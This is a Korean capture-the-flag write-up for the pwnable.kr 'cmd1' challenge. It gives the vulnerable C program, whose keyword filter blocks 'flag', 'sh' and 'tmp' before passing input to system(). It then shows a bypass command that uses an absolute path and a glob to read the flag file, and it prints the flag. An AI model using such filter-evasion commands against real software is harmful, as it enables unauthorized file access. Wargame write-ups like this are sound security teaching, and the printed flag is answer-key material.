본문 바로가기
시스템 해킹/pwnable.kr

[Pwnable.kr] cmd1

by L3m0n S0ju 2021. 4. 21.

 

 


 

문제: 엄마! 리눅스 환경변수가 뭐야?

 


#include <stdio.h>
#include <string.h>

int filter(char* cmd){
        int r=0;
        r += strstr(cmd, "flag")!=0;
        r += strstr(cmd, "sh")!=0;
        r += strstr(cmd, "tmp")!=0;
        return r;
}
int main(int argc, char* argv[], char** envp){
        putenv("PATH=/thankyouverymuch");
        if(filter(argv[1])) return 0;
        system( argv[1] );
        return 0;
}

 


위 코드는 문제에서 주어진 코드이다. putenv로 환경변수를 새롭게 설정하고 입력 값을 필터링하고 필터링을 통과하면 system 함수를 통해 입력 값을 쉘에서 실행한다. 환경변수가 엉뚱한 /thankyouverymuch로 설정되어서 기본 명령어들이 사용 불가능하므로 절대 경로를 같이 넣어서 아래의 명령어를 입력하면 플래그를 획득할 수 있다.

 

./cmd1 "/bin/cat fla*"

 

fla*는 앞에 fla로 시작하는 모든 문자열을 의미한다.

 


플래그

mommy now I get what PATH environment is for :)

 

'시스템 해킹 > pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] random  (0) 2021.07.27
[Pwnable.kr] passcode  (0) 2021.07.27
[Pwnable.kr] mistake  (0) 2021.04.21
[Pwnable.kr] flag  (0) 2021.04.19
[Pwnable.kr] collision  (0) 2021.04.19

댓글